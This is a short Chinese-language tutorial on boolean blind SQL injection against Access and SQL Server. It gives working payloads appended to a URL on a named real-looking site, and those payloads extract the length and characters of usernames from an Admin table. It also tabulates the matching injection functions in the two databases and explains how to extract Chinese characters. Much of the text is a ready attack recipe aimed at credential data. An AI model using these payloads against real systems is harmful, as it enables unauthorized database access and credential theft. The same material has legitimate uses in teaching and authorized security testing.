接續基礎篇,深入講解盲注中如何高效探測欄位長度、各資料庫常用注入函數對照、中文字元處理技巧。
已知 Admin 表有 username 欄位,先取第一筆記錄測試長度:
https://www.19cn.com/showdetail.asp?id=49 AND (SELECT TOP 1 LEN(username) FROM Admin) > 0
原理:條件成立頁面正常,不成立則異常。使用二分法或指數法快速逼近:>7 成立、>8 不成立 → 長度 = 8。程式化自動化可大幅提速。
再逐位截取 ASCII:
id=49 AND (SELECT TOP 1 ASC(MID(username,1,1)) FROM Admin) > 0
同理二分法猜解每位 ASCII 碼,英數範圍 1-128。
| 功能 | Access | SQL Server |
|---|---|---|
| 取字元 ASCII | ASC(字元) | UNICODE(字元) |
| ASCII 轉字元 | CHR(數字) | NCHAR(數字) |
| 子字串截取 | MID(字串,起始,長度) | SUBSTRING(字串,起始,長度) |
| 絕對值 | ABS(數字) | ABS(數字) |
| 範圍判斷 | A BETWEEN B AND C | A BETWEEN B AND C |
熟練掌握函數差異是跨資料庫注入測試的關鍵。
ASC() 可能回傳負數,用 ABS() 取絕對值,字元不變。ASCII() 無效,必須用 UNICODE() 取碼值,NCHAR() 還原字元。除函數不同、猜解範圍較大 (雙位元) 外,邏輯與英數完全一致。克服「中文恐懼症」關鍵在於理解編碼差異並選對函數。